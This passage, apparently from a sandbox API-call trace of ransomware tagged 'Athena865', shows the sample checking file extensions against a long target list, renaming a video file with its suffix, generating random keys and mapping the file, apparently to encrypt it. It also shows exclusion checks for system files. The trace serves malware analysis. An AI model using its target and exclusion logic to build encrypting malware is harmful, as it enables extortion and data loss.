[0053.300] lstrlenW (lpString="adn") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1 [0053.300] lstrlenW (lpString="adp") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1 [0053.300] lstrlenW (lpString="alf") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1 [0053.300] lstrlenW (lpString="ask") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1 [0053.300] lstrlenW (lpString="btr") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1 [0053.300] lstrlenW (lpString="cat") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1 [0053.300] lstrlenW (lpString="cdb") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1 [0053.300] lstrlenW (lpString="ckp") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1 [0053.300] lstrlenW (lpString="cma") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1 [0053.300] lstrlenW (lpString="cpd") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1 [0053.300] lstrlenW (lpString="dacpac") returned 6 [0053.300] lstrcmpiW (lpString1="Fm.mkv", lpString2="dacpac") returned 1 [0053.300] lstrlenW (lpString="dad") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1 [0053.300] lstrlenW (lpString="dadiagrams") returned 10 [0053.300] lstrcmpiW (lpString1="YVoBFm.mkv", lpString2="dadiagrams") returned 1 [0053.300] lstrlenW (lpString="daschema") returned 8 [0053.301] lstrcmpiW (lpString1="oBFm.mkv", lpString2="daschema") returned 1 [0053.301] lstrlenW (lpString="db-journal") returned 10 [0053.301] lstrcmpiW (lpString1="YVoBFm.mkv", lpString2="db-journal") returned 1 [0053.301] lstrlenW (lpString="db-shm") returned 6 [0053.301] lstrcmpiW (lpString1="Fm.mkv", lpString2="db-shm") returned 1 [0053.301] lstrlenW (lpString="db-wal") returned 6 [0053.301] lstrcmpiW (lpString1="Fm.mkv", lpString2="db-wal") returned 1 [0053.301] lstrlenW (lpString="dbc") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1 [0053.301] lstrlenW (lpString="dbs") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1 [0053.301] lstrlenW (lpString="dbt") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1 [0053.301] lstrlenW (lpString="dbv") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1 [0053.301] lstrlenW (lpString="dbx") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1 [0053.301] lstrlenW (lpString="dcb") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1 [0053.301] lstrlenW (lpString="dct") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1 [0053.301] lstrlenW (lpString="dcx") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1 [0053.301] lstrlenW (lpString="ddl") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1 [0053.301] lstrlenW (lpString="dlis") returned 4 [0053.301] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1 [0053.301] lstrlenW (lpString="dp1") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1 [0053.301] lstrlenW (lpString="dqy") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1 [0053.301] lstrlenW (lpString="dsk") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1 [0053.301] lstrlenW (lpString="dsn") returned 3 [0053.301] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1 [0053.302] lstrlenW (lpString="dtsx") returned 4 [0053.302] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1 [0053.302] lstrlenW (lpString="dxl") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1 [0053.302] lstrlenW (lpString="eco") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1 [0053.302] lstrlenW (lpString="ecx") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1 [0053.302] lstrlenW (lpString="edb") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1 [0053.302] lstrlenW (lpString="epim") returned 4 [0053.302] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1 [0053.302] lstrlenW (lpString="fcd") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1 [0053.302] lstrlenW (lpString="fdb") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1 [0053.302] lstrlenW (lpString="fic") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1 [0053.302] lstrlenW (lpString="flexolibrary") returned 12 [0053.302] lstrlenW (lpString="fm5") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1 [0053.302] lstrlenW (lpString="fmp") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1 [0053.302] lstrlenW (lpString="fmp12") returned 5 [0053.302] lstrcmpiW (lpString1="m.mkv", lpString2="fmp12") returned 1 [0053.302] lstrlenW (lpString="fmpsl") returned 5 [0053.302] lstrcmpiW (lpString1="m.mkv", lpString2="fmpsl") returned 1 [0053.302] lstrlenW (lpString="fol") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1 [0053.302] lstrlenW (lpString="fp3") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1 [0053.302] lstrlenW (lpString="fp4") returned 3 [0053.302] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1 [0053.302] lstrlenW (lpString="fp5") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1 [0053.303] lstrlenW (lpString="fp7") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1 [0053.303] lstrlenW (lpString="fpt") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1 [0053.303] lstrlenW (lpString="frm") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1 [0053.303] lstrlenW (lpString="gdb") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1 [0053.303] lstrlenW (lpString="gdb") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1 [0053.303] lstrlenW (lpString="grdb") returned 4 [0053.303] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1 [0053.303] lstrlenW (lpString="gwi") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1 [0053.303] lstrlenW (lpString="hdb") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1 [0053.303] lstrlenW (lpString="his") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1 [0053.303] lstrlenW (lpString="ib") returned 2 [0053.303] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1 [0053.303] lstrlenW (lpString="idb") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1 [0053.303] lstrlenW (lpString="ihx") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1 [0053.303] lstrlenW (lpString="itdb") returned 4 [0053.303] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1 [0053.303] lstrlenW (lpString="itw") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1 [0053.303] lstrlenW (lpString="jet") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1 [0053.303] lstrlenW (lpString="jtx") returned 3 [0053.303] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1 [0053.304] lstrlenW (lpString="kdb") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1 [0053.304] lstrlenW (lpString="kexi") returned 4 [0053.304] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1 [0053.304] lstrlenW (lpString="kexic") returned 5 [0053.304] lstrcmpiW (lpString1="m.mkv", lpString2="kexic") returned 1 [0053.304] lstrlenW (lpString="kexis") returned 5 [0053.304] lstrcmpiW (lpString1="m.mkv", lpString2="kexis") returned 1 [0053.304] lstrlenW (lpString="lgc") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1 [0053.304] lstrlenW (lpString="lwx") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1 [0053.304] lstrlenW (lpString="maf") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1 [0053.304] lstrlenW (lpString="maq") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1 [0053.304] lstrlenW (lpString="mar") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1 [0053.304] lstrlenW (lpString="marshal") returned 7 [0053.304] lstrcmpiW (lpString1="BFm.mkv", lpString2="marshal") returned -1 [0053.304] lstrlenW (lpString="mas") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1 [0053.304] lstrlenW (lpString="mav") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1 [0053.304] lstrlenW (lpString="maw") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1 [0053.304] lstrlenW (lpString="mdbhtml") returned 7 [0053.304] lstrcmpiW (lpString1="BFm.mkv", lpString2="mdbhtml") returned -1 [0053.304] lstrlenW (lpString="mdn") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1 [0053.304] lstrlenW (lpString="mdt") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1 [0053.304] lstrlenW (lpString="mfd") returned 3 [0053.304] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1 [0053.304] lstrlenW (lpString="mpd") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1 [0053.305] lstrlenW (lpString="mrg") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1 [0053.305] lstrlenW (lpString="mud") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1 [0053.305] lstrlenW (lpString="mwb") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1 [0053.305] lstrlenW (lpString="myd") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1 [0053.305] lstrlenW (lpString="ndf") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1 [0053.305] lstrlenW (lpString="nnt") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1 [0053.305] lstrlenW (lpString="nrmlib") returned 6 [0053.305] lstrcmpiW (lpString1="Fm.mkv", lpString2="nrmlib") returned -1 [0053.305] lstrlenW (lpString="ns2") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1 [0053.305] lstrlenW (lpString="ns3") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1 [0053.305] lstrlenW (lpString="ns4") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1 [0053.305] lstrlenW (lpString="nsf") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1 [0053.305] lstrlenW (lpString="nv") returned 2 [0053.305] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1 [0053.305] lstrlenW (lpString="nv2") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1 [0053.305] lstrlenW (lpString="nwdb") returned 4 [0053.305] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1 [0053.305] lstrlenW (lpString="nyf") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1 [0053.305] lstrlenW (lpString="odb") returned 3 [0053.305] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1 [0053.306] lstrlenW (lpString="odb") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1 [0053.306] lstrlenW (lpString="oqy") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1 [0053.306] lstrlenW (lpString="ora") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1 [0053.306] lstrlenW (lpString="orx") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1 [0053.306] lstrlenW (lpString="owc") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1 [0053.306] lstrlenW (lpString="p96") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1 [0053.306] lstrlenW (lpString="p97") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1 [0053.306] lstrlenW (lpString="pan") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1 [0053.306] lstrlenW (lpString="pdb") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1 [0053.306] lstrlenW (lpString="pdm") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1 [0053.306] lstrlenW (lpString="pnz") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1 [0053.306] lstrlenW (lpString="qry") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1 [0053.306] lstrlenW (lpString="qvd") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1 [0053.306] lstrlenW (lpString="rbf") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1 [0053.306] lstrlenW (lpString="rctd") returned 4 [0053.306] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1 [0053.306] lstrlenW (lpString="rod") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1 [0053.306] lstrlenW (lpString="rodx") returned 4 [0053.306] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1 [0053.306] lstrlenW (lpString="rpd") returned 3 [0053.306] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1 [0053.307] lstrlenW (lpString="rsd") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1 [0053.307] lstrlenW (lpString="sas7bdat") returned 8 [0053.307] lstrcmpiW (lpString1="oBFm.mkv", lpString2="sas7bdat") returned -1 [0053.307] lstrlenW (lpString="sbf") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1 [0053.307] lstrlenW (lpString="scx") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1 [0053.307] lstrlenW (lpString="sdb") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1 [0053.307] lstrlenW (lpString="sdc") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1 [0053.307] lstrlenW (lpString="sdf") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1 [0053.307] lstrlenW (lpString="sis") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1 [0053.307] lstrlenW (lpString="spq") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1 [0053.307] lstrlenW (lpString="te") returned 2 [0053.307] lstrcmpiW (lpString1="kv", lpString2="te") returned -1 [0053.307] lstrlenW (lpString="teacher") returned 7 [0053.307] lstrcmpiW (lpString1="BFm.mkv", lpString2="teacher") returned -1 [0053.307] lstrlenW (lpString="tmd") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1 [0053.307] lstrlenW (lpString="tps") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1 [0053.307] lstrlenW (lpString="trc") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1 [0053.307] lstrlenW (lpString="trc") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1 [0053.307] lstrlenW (lpString="trm") returned 3 [0053.307] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1 [0053.307] lstrlenW (lpString="udb") returned 3 [0053.308] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1 [0053.308] lstrlenW (lpString="udl") returned 3 [0053.308] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1 [0053.308] lstrlenW (lpString="usr") returned 3 [0053.308] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1 [0053.308] lstrlenW (lpString="v12") returned 3 [0053.308] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1 [0053.308] lstrlenW (lpString="vis") returned 3 [0053.308] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1 [0053.308] lstrlenW (lpString="vpd") returned 3 [0053.308] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1 [0053.308] lstrlenW (lpString="vvv") returned 3 [0053.308] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1 [0053.308] lstrlenW (lpString="wdb") returned 3 [0053.308] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1 [0053.308] lstrlenW (lpString="wmdb") returned 4 [0053.308] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1 [0053.308] lstrlenW (lpString="wrk") returned 3 [0053.308] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1 [0053.308] lstrlenW (lpString="xdb") returned 3 [0053.308] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1 [0053.308] lstrlenW (lpString="xld") returned 3 [0053.308] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1 [0053.308] lstrlenW (lpString="xmlff") returned 5 [0053.308] lstrcmpiW (lpString1="m.mkv", lpString2="xmlff") returned -1 [0053.308] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\3YVoBFm.mkv.Athena865") returned 75 [0053.308] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\3YVoBFm.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\3yvobfm.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\3YVoBFm.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\3yvobfm.mkv.athena865"), dwFlags=0x1) returned 1 [0053.309] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\3YVoBFm.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\3yvobfm.mkv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.309] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16732) returned 1 [0053.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.310] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.310] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.310] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.311] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4460, lpName=0x0) returned 0x17c [0053.311] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4460) returned 0x100000 [0053.311] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.312] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.312] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.313] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.313] CloseHandle (hObject=0x17c) returned 1 [0053.313] CloseHandle (hObject=0x154) returned 1 [0053.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.316] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d29290, ftCreationTime.dwHighDateTime=0x1d4c74f, ftLastAccessTime.dwLowDateTime=0x4affd480, ftLastAccessTime.dwHighDateTime=0x1d4d2e9, ftLastWriteTime.dwLowDateTime=0x4affd480, ftLastWriteTime.dwHighDateTime=0x1d4d2e9, nFileSizeHigh=0x0, nFileSizeLow=0x165b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6GN7BUw0CPUmuCf.mp4", cAlternateFileName="6GN7BU~1.MP4")) returned 1 [0053.316] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.316] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.316] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2=".") returned 1 [0053.316] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="..") returned 1 [0053.316] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="windows") returned -1 [0053.316] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="bootmgr") returned -1 [0053.316] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="temp") returned -1 [0053.316] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="pagefile.sys") returned -1 [0053.316] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="boot") returned -1 [0053.316] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="ids.txt") returned -1 [0053.316] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="ntuser.dat") returned -1 [0053.317] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="perflogs") returned -1 [0053.317] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2="MSBuild") returned -1 [0053.317] lstrlenW (lpString="6GN7BUw0CPUmuCf.mp4") returned 19 [0053.317] lstrcpyW (in: lpString1=0x241e8b4, lpString2="6GN7BUw0CPUmuCf.mp4" | out: lpString1="6GN7BUw0CPUmuCf.mp4") returned="6GN7BUw0CPUmuCf.mp4" [0053.317] lstrlenW (lpString="6GN7BUw0CPUmuCf.mp4") returned 19 [0053.317] lstrlenW (lpString="Athena865") returned 9 [0053.317] lstrcmpiW (lpString1="UmuCf.mp4", lpString2="Athena865") returned 1 [0053.317] lstrlenW (lpString=".dll") returned 4 [0053.317] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2=".dll") returned 1 [0053.317] lstrlenW (lpString=".lnk") returned 4 [0053.317] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2=".lnk") returned 1 [0053.317] lstrlenW (lpString=".ini") returned 4 [0053.317] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2=".ini") returned 1 [0053.317] lstrlenW (lpString=".sys") returned 4 [0053.317] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4", lpString2=".sys") returned 1 [0053.317] lstrlenW (lpString="6GN7BUw0CPUmuCf.mp4") returned 19 [0053.317] lstrlenW (lpString="bak") returned 3 [0053.317] lstrcmpiW (lpString1="mp4", lpString2="bak") returned 1 [0053.317] lstrlenW (lpString="ba_") returned 3 [0053.317] lstrcmpiW (lpString1="mp4", lpString2="ba_") returned 1 [0053.317] lstrlenW (lpString="dbb") returned 3 [0053.317] lstrcmpiW (lpString1="mp4", lpString2="dbb") returned 1 [0053.317] lstrlenW (lpString="vmdk") returned 4 [0053.317] lstrcmpiW (lpString1=".mp4", lpString2="vmdk") returned -1 [0053.317] lstrlenW (lpString="rar") returned 3 [0053.317] lstrcmpiW (lpString1="mp4", lpString2="rar") returned -1 [0053.317] lstrlenW (lpString="zip") returned 3 [0053.317] lstrcmpiW (lpString1="mp4", lpString2="zip") returned -1 [0053.317] lstrlenW (lpString="tgz") returned 3 [0053.317] lstrcmpiW (lpString1="mp4", lpString2="tgz") returned -1 [0053.317] lstrlenW (lpString="vbox") returned 4 [0053.317] lstrcmpiW (lpString1=".mp4", lpString2="vbox") returned -1 [0053.317] lstrlenW (lpString="vdi") returned 3 [0053.318] lstrcmpiW (lpString1="mp4", lpString2="vdi") returned -1 [0053.318] lstrlenW (lpString="vhd") returned 3 [0053.318] lstrcmpiW (lpString1="mp4", lpString2="vhd") returned -1 [0053.318] lstrlenW (lpString="vhdx") returned 4 [0053.318] lstrcmpiW (lpString1=".mp4", lpString2="vhdx") returned -1 [0053.318] lstrlenW (lpString="avhd") returned 4 [0053.318] lstrcmpiW (lpString1=".mp4", lpString2="avhd") returned -1 [0053.318] lstrlenW (lpString="db") returned 2 [0053.318] lstrcmpiW (lpString1="p4", lpString2="db") returned 1 [0053.318] lstrlenW (lpString="db2") returned 3 [0053.318] lstrcmpiW (lpString1="mp4", lpString2="db2") returned 1 [0053.318] lstrlenW (lpString="db3") returned 3 [0053.318] lstrcmpiW (lpString1="mp4", lpString2="db3") returned 1 [0053.318] lstrlenW (lpString="dbf") returned 3 [0053.318] lstrcmpiW (lpString1="mp4", lpString2="dbf") returned 1 [0053.318] lstrlenW (lpString="mdf") returned 3 [0053.318] lstrcmpiW (lpString1="mp4", lpString2="mdf") returned 1 [0053.318] lstrlenW (lpString="mdb") returned 3 [0053.318] lstrcmpiW (lpString1="mp4", lpString2="mdb") returned 1 [0053.318] lstrlenW (lpString="sql") returned 3 [0053.318] lstrcmpiW (lpString1="mp4", lpString2="sql") returned -1 [0053.318] lstrlenW (lpString="sqlite") returned 6 [0053.318] lstrcmpiW (lpString1="Cf.mp4", lpString2="sqlite") returned -1 [0053.318] lstrlenW (lpString="sqlite3") returned 7 [0053.318] lstrcmpiW (lpString1="uCf.mp4", lpString2="sqlite3") returned 1 [0053.318] lstrlenW (lpString="sqlitedb") returned 8 [0053.318] lstrcmpiW (lpString1="muCf.mp4", lpString2="sqlitedb") returned -1 [0053.318] lstrlenW (lpString="xml") returned 3 [0053.318] lstrcmpiW (lpString1="mp4", lpString2="xml") returned -1 [0053.318] lstrlenW (lpString="$er") returned 3 [0053.318] lstrcmpiW (lpString1="mp4", lpString2="$er") returned 1 [0053.318] lstrlenW (lpString="4dd") returned 3 [0053.318] lstrcmpiW (lpString1="mp4", lpString2="4dd") returned 1 [0053.318] lstrlenW (lpString="4dl") returned 3 